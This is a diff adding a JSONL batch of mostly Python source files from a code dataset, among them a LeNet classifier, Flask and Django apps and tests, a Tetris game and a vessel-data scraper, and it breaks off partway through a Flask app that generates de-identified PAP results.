diff --git "a/6247.jsonl" "b/6247.jsonl" new file mode 100644--- /dev/null +++ "b/6247.jsonl" @@ -0,0 +1,615 @@ +{"seq_id":"64417284","text":"import numpy as np \n\nfrom apollo import Net\nfrom apollo.layers import Convolution, ReLU, InnerProduct, SoftmaxWithLoss, Filler, \\\n Pooling, Softmax, NumpyData\n\nfrom apollo.training import StepTraining\n\nclass LeNet:\n def __init__(self):\n \"\"\"\n LeNet classifier for greyscale images. \n \"\"\"\n self.net = Net()\n # -- Initialize layers ---\n weight_filler = Filler(type=\"xavier\")\n bias_filler = Filler(type=\"constant\", value=0.2)\n conv_lr_mults = [1.0, 2.0]\n conv_decay_mults = [1.0, 0.0]\n self.layer_list = []\n self.layer_list.append(Convolution(name=\"conv1\", bottoms=[\"data\"], param_lr_mults=conv_lr_mults, \n param_decay_mults=conv_decay_mults, kernel_size=5, stride=1, pad=0, \n weight_filler=weight_filler, bias_filler=bias_filler, num_output=20))\n self.layer_list.append(ReLU(name=\"relu1\", bottoms=[\"conv1\"], tops=[\"conv1\"]))\n self.layer_list.append(Pooling(name=\"pool1\", bottoms=[\"conv1\"], kernel_size=2, stride=2))\n self.layer_list.append(Convolution(name=\"conv2\", bottoms=[\"pool1\"], param_lr_mults=conv_lr_mults, \n param_decay_mults=conv_decay_mults, kernel_size=5, stride=1, pad=0, \n weight_filler=weight_filler, bias_filler=bias_filler, num_output=50))\n self.layer_list.append(Pooling(name=\"pool2\", bottoms=[\"conv2\"], kernel_size=2, stride=2))\n self.layer_list.append(InnerProduct(name='ip1', bottoms=['pool2'],\n num_output=500, weight_filler=weight_filler))\n self.layer_list.append(ReLU(name=\"relu2\", bottoms=[\"ip1\"], tops=[\"ip1\"]))\n self.layer_list.append(InnerProduct(name='ip2', bottoms=['pool2'],\n num_output=10, weight_filler=weight_filler))\n self.layer_list.append(SoftmaxWithLoss(name='softmax_loss', bottoms=['ip2', 'label']))\n\n def fit(self, batch_iter, max_iter = 10000):\n training_manager = StepTraining(self.net, self.layer_list, batch_iter)\n loss_list = training_manager.set_iter(max_iter)\n return loss_list\n\n def predict(self, img):\n \"\"\"\n Takes a 28 x 28 greyscale image as input and returns predicted label. \n \"\"\"\n self.net.reset_forward()\n self.net.phase = \"test\"\n image_blob = np.zeros((1, 1, 28, 28))\n image_blob[0][0] = img\n self.net.forward_layer(NumpyData(name = \"data\", data = image_blob))\n for layer in self.layer_list:\n if layer.deploy:\n self.net.forward_layer(layer)\n\n self.net.forward_layer(Softmax(name='softmax', bottoms=['ip2']))\n softmax_prob = self.net.tops[\"softmax\"].data[0]\n return softmax_prob.argmax()\n\n","sub_path":"apollo/clf/clf.py","file_name":"clf.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"628486785","text":"\"\"\"\n다리 만들기 2\nhttps://www.acmicpc.net/problem/17472\n\"\"\"\nfrom collections import deque\nfrom itertools import combinations\nimport sys\n\nsys.stdin = open(\"../input.txt\")\ninput = sys.stdin.readline\n\ndx = [0, 0, 1, -1]\ndy = [1, -1, 0, 0]\n\n\ndef get_island():\n islands = []\n visited = [[0 for _ in range(m)] for _ in range(n)]\n\n for i in range(n):\n for j in range(m):\n if visited[i][j] == 0 and graph[i][j] == 1:\n visited[i][j] = 1\n island = [[i, j]]\n q = deque([[i, j]])\n\n while q:\n x, y = q.popleft()\n for k in range(4):\n xx = x + dx[k]\n yy = y + dy[k]\n if 0 <= xx < n and 0 <= yy < m:\n if visited[xx][yy] == 0 and graph[xx][yy] == 1:\n visited[xx][yy] = 1\n island.append([xx, yy])\n q.append([xx, yy])\n\n islands.append(island)\n return dict(enumerate(islands))\n\n\ndef get_paths(a_island, b_island):\n paths = []\n\n for ax, ay in a_island:\n for k in range(4):\n path = []\n q = deque([[ax, ay]])\n\n while q:\n x, y = q.popleft()\n\n while True:\n x += dx[k]\n y += dy[k]\n if not (0 <= x < n and 0 <= y < m):\n break\n if [x, y] in a_island:\n break\n if [x, y] in b_island:\n if len(path) >= 2:\n paths.append(path)\n break\n\n if graph[x][y] == 0:\n path.append([x, y])\n else:\n break\n\n return paths\n\n\ndef spaning_tree(edges):\n def find_parent(parent, x):\n if parent[x] != x:\n parent[x] = find_parent(parent, parent[x])\n return parent[x]\n\n def union_parent(parent, a, b):\n a = find_parent(parent, a)\n b = find_parent(parent, b)\n if a > b:\n parent[a] = b\n else:\n parent[b] = a\n\n parent = [i for i in range(len(islands))]\n edges.sort()\n result = 0\n for cost, a, b in edges:\n if find_parent(parent, a) != find_parent(parent, b):\n union_parent(parent, a, b)\n result += cost\n\n for i in range(len(islands)):\n parent[i] = find_parent(parent, parent[i])\n\n return result if len(set(parent)) == 1 else -1\n\n\nfor _ in range(int(input())):\n n, m = map(int, input().split())\n graph = [list(map(int, input().split())) for _ in range(n)]\n islands = get_island()\n path_dict = dict()\n edges = []\n for case in combinations(islands.keys(), 2):\n a, b = case\n paths = get_paths(islands[a], islands[b])\n if paths:\n path_dict[(a, b)] = paths\n edges.append([len(min(paths, key=len)), a, b])\n\n print(spaning_tree(edges))\n","sub_path":"2022/10주차/다리 만들기 2/하현준.py","file_name":"하현준.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"1346807","text":"# Fabulous Frogs: David Chong (with Fluff), Wen Hao Dong (with Jal Hordan), and Austin Ngan (with Gerald)\n# SoftDev\n# 2021-10-04\n\nfrom flask import Flask\napp = Flask(__name__) # Q0: Where have you seen similar syntax in other langs?\n\n@app.route(\"/\") # Q1: What points of reference do you have for meaning of '/'?\ndef hello_world():\n print(__name__) # Q2: Where will this print to? Q3: What will it print?\n return \"No hablo queso!\" # Q3: Will this appear anywhere? How u know?\n\napp.run() # Q4: Where have you seen similar construcs in other languages?\n\n# Worked the exact same as K09.\n# __main__ is printed in the terminal along with the GET requests,\n# and \"No hablo queso\" is displayed in the browser.\n","sub_path":"10_flask/v0/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"253699047","text":"# Furniture class\n\"\"\"\nFurniture Class Module\n\"\"\"\n\n\nimport sys\nimport os\nfrom inventory_class import Inventory\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\nsys.path.append(DIR_PATH)\n\n#from inventory_management.inventory_class import Inventory\n\n\n#from inventory_management.inventory_class import Inventory\n\n\nclass Furniture(Inventory):\n \"\"\"Furniture Class - SubClass of Inventory Class.\n Contains additional attributes \"voltage' and 'brand'.\"\"\"\n\n def __init__(self, product_code, description, market_price, rental_price, material, size):\n Inventory.__init__(self, product_code, description, market_price, rental_price)\n # Creates common instance variables from the parent class\n\n self.material = material\n self.size = size\n\n def return_as_dictionary(self):\n \"\"\"Function returns Furniture inventory instance properties as a\n dictionary to be included in the inventory database.\"\"\"\n\n item = Inventory.return_as_dictionary(self)\n item['material'] = self.material\n item['size'] = self.size\n\n return item\n","sub_path":"students/jon_cracolici/lesson01/assignment/inventory_management/furniture_class.py","file_name":"furniture_class.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"506664366","text":"import mysql.connector\nfrom flask import Flask\nfrom flask_restful import Api, Resource, reqparse\nimport settings\nimport usingDatabase\n\napp = Flask(__name__)\napi = Api(app)\n\nall_users = [] # list to save user's information in computer memory\n\n\nclass Users(Resource):\n def post(self, id): # method for adding information about a new user\n return way.post(id)\n\n def get(self, id): # method for reading user information\n return way.get(id)\n\n def put(self, id): # method for updating user information\n return way.put(id)\n\n def delete(self, id): # method for deleting user record\n return way.delete(id)\n\nclass memory(Users):\n\n def post(self, id):\n parser = reqparse.RequestParser()\n parser.add_argument(\"full_name\")\n params = parser.parse_args()\n for user in all_users:\n if id == user[\"id\"]:\n return f'User with id {id} already exists', 400\n\n user = {\n \"id\": int(id),\n \"full_name\": params[\"full_name\"]\n }\n all_users.append(user)\n return user, 201\n\n def put(self, id):\n parser = reqparse.RequestParser()\n parser.add_argument(\"full_name\")\n params = parser.parse_args()\n for user in all_users:\n if id == user[\"id\"]:\n user[\"full_name\"] = params[\"full_name\"]\n return user, 200\n\n user = {\n \"id\": int(id),\n \"full_name\": params[\"full_name\"]\n }\n all_users.append(user)\n return user, 201\n\n def get(self, id):\n for user in all_users:\n if user['id'] == id:\n return user, 200\n return 'User not found', 400\n\n def delete(self, id):\n global all_users\n all_users = [user for user in all_users if user[\"id\"] != id]\n return f'User with id {id} is deleted.', 201\n\n\nclass database(Users):\n def post(self, id):\n parser = reqparse.RequestParser()\n parser.add_argument(\"full_name\")\n params = parser.parse_args()\n return my_data.postDATA(id, params[\"full_name\"])\n\n def get(self, id):\n return my_data.getDATA(id)\n\n def put(self, id):\n parser = reqparse.RequestParser()\n parser.add_argument(\"full_name\")\n params = parser.parse_args()\n return my_data.putDATA(id, params[\"full_name\"])\n\n\n def delete(self, id):\n return my_data.deleteDATA(id)\n\n\ndef choice():\n global way\n if settings.repository == 'memory':\n way = memory()\n elif settings.repository == 'database':\n way = database()\n global my_data\n my_data = usingDatabase.DATA()\n myData = mysql.connector.connect(\n host=settings.host_name,\n user=settings.user_name,\n passwd=settings.user_password,\n database=settings.database\n )\n cur = myData.cursor()\n try:\n # creating a table \"users\" if it is not in the selected database\n cur.execute(\"CREATE TABLE users(id INT, name VARCHAR(255))\")\n myData.commit()\n cur.close()\n myData.close()\n except:\n print('The table is already in the database')\n\n\nflag = choice() # flag to switch between repository implementations\n\n# add resource to API, specify path and start Flask.\napi.add_resource(Users, \"/users\", \"/users/\", \"/users/\")\nif __name__ == '__main__':\n choice()\n app.run(debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"603877855","text":"\nimport openpyxl\n\n#sampleFileName is the template file which has the format of a working config. Once you built a working config for one VS, put the config which has to be repeated in this file. Name the variables as FIELD1, FIELD2 etc.\n\nsampleFileName='wattsconfigurationsample.txt'\n\n#outputFileName is the file in which has the final output\n \noutputFileName='wattsconfigurationoutput.txt'\nREAD = \"r\"\nWRITE = \"w\"\nAPPEND = \"a\"\nREADWRITE = \"w+\"\n\n#opening the workbook provided by the client\n\nwb= openpyxl.load_workbook('Watts-AGEdit.xlsx')\nsheet = wb.get_sheet_by_name('LTM')\n\n#opening both the files(template and output) and storing them in a variable\n\ntemplateFile = open(sampleFileName, READ)\noutputFile = open(outputFileName, READWRITE)\n\n#using a temp file to read the \n\ntemplate=templateFile.read()\n\n\nfor rowB in range(76,108):\n \n templateout = template\n templateout = templateout.replace(\"$FIELD1\", str(sheet.cell(row = rowB, column =2).value))\n \n outputFile.write(templateout)\n\n\ntemplateFile.close()\noutputFile.close()","sub_path":"random/WaatsTG.py","file_name":"WaatsTG.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"187128526","text":"import json\n\nimport httpretty\nfrom django.contrib.auth.models import User\nfrom django.test import TestCase\nfrom django.utils import timezone\n\nfrom books.models import Book, Library, BookCopy\nfrom waitlist.models import WaitlistItem\n\n\n# VIEWS\n\nclass BookCopyBorrowViewCase(TestCase):\n def setUp(self):\n self.user = User.objects.create_user(username=\"claudia\")\n self.user.set_password(\"123\")\n self.user.save()\n self.client.force_login(user=self.user)\n\n def test_user_can_borrow_book_copy(self):\n self.book = Book.objects.create(author=\"Author\", title=\"the title\", subtitle=\"The subtitle\",\n publication_date=timezone.now())\n self.library = Library.objects.create(name=\"Santiago\", slug=\"slug\")\n self.bookCopy = BookCopy.objects.create(book=self.book, library=self.library)\n\n self.request = self.client.post('/api/copies/' + str(self.bookCopy.id) + \"/borrow\")\n\n self.assertEqual(200, self.request.status_code)\n self.assertTrue(str(self.request.data).__contains__(\"Book borrowed\"))\n\n book_copy = BookCopy.objects.get(pk=self.bookCopy.id)\n self.assertEqual(self.user, book_copy.user)\n self.assertIsNotNone(book_copy.borrow_date)\n\n def test_shouldnt_borrow_book_copy_when_invalid_id(self):\n self.request = self.client.post('/api/copies/' + str(99) + \"/borrow\")\n self.assertEqual(404, self.request.status_code)\n\n\nclass BookCopyReturnView(TestCase):\n def setUp(self):\n self.user = User.objects.create_user(username=\"claudia\")\n self.user.set_password(\"123\")\n self.user.save()\n self.client.force_login(user=self.user)\n\n def test_user_can_return_book_copy(self):\n self.book = Book.objects.create(author=\"Author\", title=\"the title\", subtitle=\"The subtitle\",\n publication_date=timezone.now())\n self.library = Library.objects.create(name=\"Santiago\", slug=\"slug\")\n self.bookCopy = BookCopy.objects.create(book=self.book, library=self.library, user=self.user,\n borrow_date=timezone.now())\n\n self.request = self.client.post('/api/copies/' + str(self.bookCopy.id) + '/return')\n\n self.assertEqual(self.request.status_code, 200)\n self.assertTrue(str(self.request.data).__contains__(\"Book returned\"))\n\n book_copy = BookCopy.objects.get(pk=self.bookCopy.id)\n\n self.assertEqual(None, book_copy.user)\n self.assertIsNone(book_copy.borrow_date)\n\n def test_shouldnt_return_book_copy_when_invalid_id(self):\n self.request = self.client.post('/api/copies/' + str(99) + \"/return\")\n self.assertEqual(404, self.request.status_code)\n\n\nclass LibraryViewSet(TestCase):\n def setUp(self):\n self.user = User.objects.create_user(username=\"claudia\")\n self.user.set_password(\"123\")\n self.user.save()\n self.client.force_login(user=self.user)\n\n self.book = Book.objects.create(author=\"Author\", title=\"the title\", subtitle=\"The subtitle\",\n publication_date=timezone.now())\n self.library = Library.objects.create(name=\"Santiago\", slug=\"slug\")\n self.bookCopy = BookCopy.objects.create(book=self.book, library=self.library)\n\n def test_user_can_retrieve_library_information_with_existing_slug(self):\n \"\"\"tests the following url: /api/libraries/(?P)/books/\"\"\"\n\n self.request = self.client.get(\"/api/libraries/\" + self.library.slug + \"/\")\n\n self.assertEqual(self.request.status_code, 200)\n\n library_json = json.loads(json.dumps(self.request.data))\n\n self.assertEqual(self.library.name, library_json['name'])\n self.assertEqual(self.library.slug, library_json['slug'])\n\n # Get the books\n self.request = self.client.get(library_json['books'])\n\n self.assertEqual(self.request.status_code, 200)\n\n library_json = json.loads(json.dumps(self.request.data))\n\n self.assertEqual(1, library_json['count'])\n self.assertEqual(1, len(library_json['results'][0]['copies']))\n\n def test_user_can_retrieve_books_from_library(self):\n self.request = self.client.get(\"/api/libraries/\" + self.library.slug + \"/books/\")\n\n self.assertEqual(self.request.status_code, 200)\n\n request_data = json.loads(json.dumps(self.request.data))\n\n self.assertEqual(request_data['count'], 1)\n self.assertIsNone(request_data['next'])\n self.assertIsNone(request_data['previous'])\n self.assertEqual(len(request_data['results']), 1)\n\n book = request_data['results'][0]\n\n self.assertEqual(book['title'], self.book.title)\n self.assertEqual(book['author'], self.book.author)\n self.assertEqual(book['subtitle'], self.book.subtitle)\n\n\nclass LibraryViewSetQueryParameters(TestCase):\n def setUp(self):\n self.user = User.objects.create_user(username=\"claudia\")\n self.user.set_password(\"123\")\n self.user.save()\n self.client.force_login(user=self.user)\n\n self.library = Library.objects.create(name=\"My library\", slug=\"myslug\")\n\n self.base_url = \"/api/libraries/\" + self.library.slug + \"/books/?\"\n\n books_info = [(\"author a\", \"book a\"), (\"author b\", \"book b\"),\n (\"author not\", \"book not\"), (\"author amazing\", \"book amazing\")]\n\n books_dict = []\n\n for book_info in books_info:\n books_dict.append({\"author\": book_info[0], \"title\": book_info[1]})\n\n for book_dict in books_dict:\n book = Book.objects.create(**book_dict)\n BookCopy.objects.create(book=book, library=self.library)\n\n def get_request_result_as_json(self, url):\n request = self.client.get(url)\n return json.loads(json.dumps(request.data))[\"results\"]\n\n def test_working_endpoint(self):\n self.request = self.client.get(\"/api/libraries/\" + self.library.slug + \"/books/\")\n\n self.assertEqual(self.request.status_code, 200)\n\n def test_empty_search(self):\n books = self.get_request_result_as_json(self.base_url + \"book_title=&book_author=\")\n self.assertEqual(len(books), 4)\n\n def test_search_for_books_title(self):\n\n books = self.get_request_result_as_json(self.base_url + \"book_title=invalid\")\n self.assertEqual(len(books), 0)\n\n books = self.get_request_result_as_json(self.base_url + \"book_title=book\")\n self.assertEqual(len(books), 4)\n\n books = self.get_request_result_as_json(self.base_url + \"book_title=a\")\n self.assertEqual(len(books), 2)\n\n books = self.get_request_result_as_json(self.base_url + \"book_title=not\")\n self.assertEqual(len(books), 1)\n\n books = self.get_request_result_as_json(self.base_url + \"book_title=ama\")\n self.assertEqual(len(books), 1)\n\n books = self.get_request_result_as_json(self.base_url + \"book_title=amazing\")\n self.assertEqual(len(books), 1)\n\n books = self.get_request_result_as_json(self.base_url + \"book_title=book amazing\")\n self.assertEqual(len(books), 1)\n\n def test_search_for_books_author(self):\n\n books = self.get_request_result_as_json(self.base_url + \"book_author=invalid\")\n self.assertEqual(len(books), 0)\n\n books = self.get_request_result_as_json(self.base_url + \"book_author=a\")\n self.assertEqual(len(books), 4)\n\n books = self.get_request_result_as_json(self.base_url + \"book_author=author a\")\n self.assertEqual(len(books), 2)\n\n books = self.get_request_result_as_json(self.base_url + \"book_author=ot\")\n self.assertEqual(len(books), 1)\n\n books = self.get_request_result_as_json(self.base_url + \"book_author=author b\")\n self.assertEqual(len(books), 1)\n\n books = self.get_request_result_as_json(self.base_url + \" book_author=author amazing \")\n self.assertEqual(len(books), 1)\n\n def test_search_for_books_author_or_books_title(self):\n books = self.get_request_result_as_json(self.base_url + \"book_author=a&book_title=book a\")\n self.assertEqual(len(books), 4)\n\n books = self.get_request_result_as_json(self.base_url + \"book_author=author a&book_title=book a\")\n self.assertEqual(len(books), 2)\n\n books = self.get_request_result_as_json(self.base_url + \"book_author=author amazing&book_title=book a\")\n self.assertEqual(len(books), 2)\n\n books = self.get_request_result_as_json(self.base_url + \"book_author=author amazing&book_title=book amazing\")\n self.assertEqual(len(books), 1)\n\n\nclass UserView(TestCase):\n def setUp(self):\n self.user = User.objects.create_user(username=\"claudia\")\n self.user.set_password(\"123\")\n self.user.save()\n self.client.force_login(user=self.user)\n\n def test_user_should_be_able_to_see_its_own_profile(self):\n self.request = self.client.get(\"/api/profile\")\n user_json = json.loads(json.dumps(self.request.data))\n\n self.assertEqual(self.user.username, user_json['user']['username'])\n\nclass IsbnViewTest(TestCase):\n def setUp(self):\n self.user = User.objects.create_user(username=\"claudia\", is_staff=True, is_superuser=True)\n self.user.set_password(\"pwd12345\")\n self.user.save()\n self.client.force_login(user=self.user)\n\n self.url = '/admin/books/book/isbn/'\n\n def test_get_should_render_isbn_template(self):\n response = self.client.get(self.url)\n\n self.assertEqual(response.status_code, 200)\n\n self.assertTemplateUsed(response, 'isbn.html')\n self.assertTemplateUsed(response, 'admin/app_index.html')\n\n def test_post_should_render_isbn_form_when_input_is_not_provided(self):\n response = self.client.post(self.url)\n\n self.assertTemplateUsed(response, 'isbn.html')\n self.assertTemplateUsed(response, 'admin/app_index.html')\n self.assertContains(response, 'Invalid ISBN provided!')\n\n @httpretty.activate\n def test_post_should_show_failure_message_on_book_add_form_when_isbn_is_not_found(self):\n httpretty.register_uri(\n httpretty.GET,\n \"https://www.googleapis.com/books/v1/volumes?q=isbn:9780133065268\",\n body='{\"kind\": \"books#volumes\", \"totalItems\": 0}',\n status=200)\n\n response = self.client.post(self.url, data={'isbn': '9780133065268'}, follow=True)\n\n self.assertRedirects(response, '/admin/books/book/add/?', status_code=302, target_status_code=200)\n self.assertContains(response, 'Sorry! We could not find the book with the ISBN provided.')\n self.assertTemplateUsed(response, 'admin/change_form.html')\n\n @httpretty.activate\n def test_post_should_show_success_message_on_book_add_form_when_isbn_is_found(self):\n content = {\n \"kind\": \"books#volumes\",\n \"totalItems\": 1,\n \"items\": [\n {\n \"volumeInfo\": {\n \"title\": \"Refactoring\",\n \"subtitle\": \"Improving the Design of Existing Code\",\n \"authors\": [\n \"Martin Fowler\"\n ],\n \"publisher\": \"Addison-Wesley\",\n \"publishedDate\": \"2012-03-09\",\n \"description\": \"As the application of object technology--particularly bla bla bla\",\n \"pageCount\": 455,\n \"imageLinks\": {\n \"thumbnail\": \"http://books.google.com/books/content?id=HmrDHwgkbPsC&printsec=frontcover&img=1&zoom=1&edge=curl&source=gbs_api\"\n }\n }\n }\n ]\n }\n\n httpretty.register_uri(\n httpretty.GET,\n \"https://www.googleapis.com/books/v1/volumes?q=isbn:9780133065268\",\n body=json.dumps(content),\n status=200)\n\n response = self.client.post(self.url, data={'isbn': '9780133065268'}, follow=True)\n\n self.assertRedirects(response, '/admin/books/book/add/?isbn=9780133065268&author=Martin+Fowler&description=As'\n '+the+application+of+object+technology--particularly+bla+bla+bla&image_url'\n '=http%3A%2F%2Fbooks.google.com%2Fbooks%2Fcontent%3Fid%3DHmrDHwgkbPsC'\n '%26printsec%3Dfrontcover%26img%3D1%26zoom%3D1%26edge%3Dcurl%26source'\n '%3Dgbs_api&number_of_pages=455&publication_date=2012-03-09&publisher=Addison'\n '-Wesley&subtitle=Improving+the+Design+of+Existing+Code&title=Refactoring',\n status_code=302, target_status_code=200)\n self.assertContains(response, 'Found! Go ahead, modify book template and save.')\n self.assertTemplateUsed(response, 'admin/change_form.html')\n","sub_path":"books/test/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":12961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"23552665","text":"import random\nfrom functools import wraps\nimport os\nimport copy\n\nclass Tetris:\n\n def __init__(self, height=20, width=10):\n self.mapWidth = width\n self.mapHeight = height\n\n self.map = []\n self.emptyMapVal = -1\n self.score = 0\n self.blocksCounter = 0\n self.destroyedLines = 0\n self.holdedBlock = 7\n self.lastHoldedBlockNumber = 0\n \n for i in range(height):\n self.map.append(list([self.emptyMapVal for j in range(width)]))\n\n random.seed()\n\n self.newBlock()\n self.putBlockOnMap()\n\n\n def tetris(self):\n if self.isLaying():\n self.checkAndDestroyLine()\n if not self.newBlock():\n return (True, self.blocksCounter, self.destroyedLines)\n self.blocksCounter += 1\n else:\n self.wipeBlockFromMap()\n self.currentBlock.y -= 1\n\n self.putBlockOnMap()\n\n return (False, self.blocksCounter, self.destroyedLines)\n\n\n def put_block_on_map(func):\n @wraps(func)\n def wrapper(self, direction):\n func(self, direction)\n self.putBlockOnMap()\n return wrapper\n\n\n @put_block_on_map\n def rotate(self, direction):\n self.wipeBlockFromMap()\n\n blockBackup = copy.copy(self.currentBlock)\n\n self.currentBlock.rotate(direction)\n if not self.isColliding():\n return\n\n self.currentBlock.x += 1\n if not self.isColliding():\n return\n\n self.currentBlock.x -= 2\n if not self.isColliding():\n return\n\n self.currentBlock = copy.copy(blockBackup)\n\n\n def move(self, direction):\n self.wipeBlockFromMap()\n\n if direction == 'right':\n if self.currentBlock.x < self.mapWidth - self.currentBlock.w:\n self.currentBlock.x += 1\n if self.isColliding():\n self.currentBlock.x -= 1\n elif direction == 'left':\n if self.currentBlock.x > 0:\n self.currentBlock.x -= 1\n if self.isColliding():\n self.currentBlock.x += 1\n else:\n raise ValueError(f'invalid direction type (expected \\'right\\' or \\'left\\', got: {direction})')\n\n self.putBlockOnMap()\n\n\n def drop(self):\n while not self.isLaying():\n self.tetris()\n self.tetris()\n\n \n def hold(self):\n if self.lastHoldedBlockNumber == self.blocksCounter:\n return\n\n self.lastHoldedBlockNumber = self.blocksCounter\n newHoldedBlock = self.currentBlock.blockType\n\n self.wipeBlockFromMap()\n self.newBlock(self.holdedBlock if self.holdedBlock < 6 else -1)\n self.putBlockOnMap()\n\n self.holdedBlock = newHoldedBlock\n\n\n def checkAndDestroyLine(self):\n for i in range(self.currentBlock.h - 1, -1, -1):\n for j in self.map[self.currentBlock.y + i]:\n if j == self.emptyMapVal:\n break\n else:\n for j in range(self.currentBlock.y + i, self.mapHeight):\n if j == self.mapHeight - 1:\n self.map[j] = [self.emptyMapVal for x in self.map[j]]\n else:\n self.map[j] = self.map[j + 1]\n\n self.destroyedLines += 1\n \n\n def isLaying(self):\n if self.currentBlock.y == 0:\n return True\n else:\n i = 0\n for skirtLine in self.currentBlock.skirt():\n if self.map[self.currentBlock.y - 1 + skirtLine][self.currentBlock.x + i] != self.emptyMapVal:\n return True\n i += 1\n return False\n \n\n def isColliding(self):\n for i in range(self.currentBlock.h):\n for j in range(self.currentBlock.w):\n if (0 < (self.currentBlock.y + i) < len(self.map)) and (0 <= (self.currentBlock.x + j) < (len(self.map[0]))):\n if self.map[self.currentBlock.y + i][self.currentBlock.x + j] != self.emptyMapVal and self.currentBlock.block[i][j] != self.emptyMapVal:\n return True\n else:\n return True\n return False\n\n\n def newBlock(self, blockType=-1):\n self.currentBlock = Block(random.randrange(7) if blockType == -1 else blockType)\n self.currentBlock.x = int((self.mapWidth - self.currentBlock.w) / 2)\n self.currentBlock.y = self.mapHeight - self.currentBlock.h\n \n if self.isColliding():\n return False\n\n return True\n\n\n def putBlockOnMap(self, delBlock=False):\n for i in range(self.currentBlock.h):\n for j in range(self.currentBlock.w):\n try:\n if delBlock and (self.currentBlock.block[i][j] != self.emptyMapVal):\n self.map[self.currentBlock.y + i][self.currentBlock.x + j] = self.emptyMapVal\n elif self.currentBlock.block[i][j] != self.emptyMapVal:\n self.map[self.currentBlock.y + i][self.currentBlock.x + j] = self.currentBlock.blockType\n except:\n pass\n\n\n def wipeBlockFromMap(self):\n self.putBlockOnMap(True)\n\n\nclass Block:\n blockPreset = [\n [[0, 0, 0, 0]],\n [[1, 1], [1, -1], [1, -1]],\n [[2, 2], [-1, 2], [-1, 2]],\n [[3, 3, -1], [-1, 3, 3]],\n [[-1, 4, 4], [4, 4, -1]],\n [[5, 5], [5, 5]],\n [[6, 6, 6], [-1, 6, -1]],\n [[-1]]\n ]\n\n def __init__(self, blockType, x=0, y=0):\n \"\"\"\n Blocks in default preset:\n 0 - long skinny one\n 1 - L\n 2 - L mirrored\n 3 - S\n 4 - S mirrored\n 5 - square\n 6 - pyramid\n \"\"\"\n self.blockType = blockType\n \n if not -1 < blockType < len(self.blockPreset):\n blockType = -1\n\n self.block = self.blockPreset[blockType]\n\n self.x = x\n self.y = y\n self.w = len(self.block[0])\n self.h = len(self.block)\n\n\n def rotate(self, direction='cw'):\n tmpBlock = self.block\n self.block = []\n\n if direction == 'cw':\n for i in range(len(tmpBlock[0]) -1, -1, -1):\n self.block.append([x[i] for x in tmpBlock])\n self.x += int((self.w - len(self.block[0])) / 2)\n elif direction == 'ccw':\n pass\n else:\n raise ValueError(f'invalid direction type (expected \\'cw\\' or \\'ccw\\', got: {direction})') \n\n self.w = len(self.block[0])\n self.h = len(self.block)\n\n def skirt(self):\n skirt = []\n \n for i in range(len(self.block[0])):\n for j in range(len(self.block)):\n if self.block[j][i] != -1:\n skirt.append(j)\n break\n\n return skirt\n\n @classmethod\n def defBlocks(self):\n for i in self.blockPreset:\n yield i\n\n\ndef main():\n for block in Block.defBlocks():\n print(block)\n\nif __name__ == \"__main__\":\n main()","sub_path":"tetris.py","file_name":"tetris.py","file_ext":"py","file_size_in_byte":7196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"495462103","text":"import json\nimport logging\nfrom datetime import date, datetime, timedelta\nfrom mmsi.spider import Spider\n\n\n# >>> Logger\nlogging.basicConfig(filename=\"cron.log\", level=logging.INFO)\n\n# >>> Export paths and filenames settings\nEXPORT_MMSI_FOLDER_PATH = \"./mmsi_lists/\"\nEXPORT_MMSI_FILENAME = \"MMSI_list.json\"\nEXPORT_ADD_INFO_FOLDER_PATH = \"./mmsi_info/\"\nEXPORT_ADD_INFO_FILENAME = \"MMSI_info.json\"\n\n# >>> Yesterday\nyesterday = date.today() - timedelta(1)\nyesterday = yesterday.strftime('%Y_%m_%d-')\n\n# >>> load MMSI list :\nfilename = EXPORT_MMSI_FOLDER_PATH + yesterday + EXPORT_MMSI_FILENAME\nwith open(filename, \"r\") as f:\n mmsi_list = json.loads(f.read())\nlogging.info(str(mmsi_list))\n\n# >>> Everyday from 00:01, for 22hours ?\nurl = 'https://www.vesselfinder.com/vessels/PRDW-MMSI-'\nmmsi_list = [url + x for x in mmsi_list]\nlogging.info(str(mmsi_list))\n\n# >>> Scraping\n# we don't want to make too much calls at the same time, so we scrap over a time\n# period of 22hours (arbitrary).\n# 22 hours x 60 minutes = 1 320 minutes\n# Sleep delay = 60 seconds / (Boat per minute)\n# with boat per minute = total MMSI / 22hours (in minute)\nsleep_delay = int(60. / (float(len(mmsi_list)) / 1320.))\nlogging.info(\"SLEEP DELAY :\" + str(sleep_delay))\n\nexport_filename = EXPORT_ADD_INFO_FOLDER_PATH + yesterday\nexport_filename += EXPORT_ADD_INFO_FILENAME\nspider = Spider(\n mmsi_list,\n sleep_delay=sleep_delay,\n export=export_filename\n)\nspider.scrap()\n","sub_path":"cron.py","file_name":"cron.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"223007183","text":"'''PAPpy Create Fake PAP Result\n\nCreated: 09/12/2017\nAuthor: Frank J Genova\n\nGiven a text file with HL7 of incoming PAP results\nsupply a de-identified patient name and date of birth\nand replace the message segments with the de-identified input\n'''\n\nfrom flask import Flask, render_template, redirect, request\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n '''Route for / to render index.html to show the main input form'''\n\n return render_template('index.html')\n\n@app.route('/result', methods=['GET', 'POST'])\ndef form_content():\n '''Route for /result to render result.html'''\n\n name = request.form['name'] #user supplied fake name\n dob = request.form['dob'] #user supplied 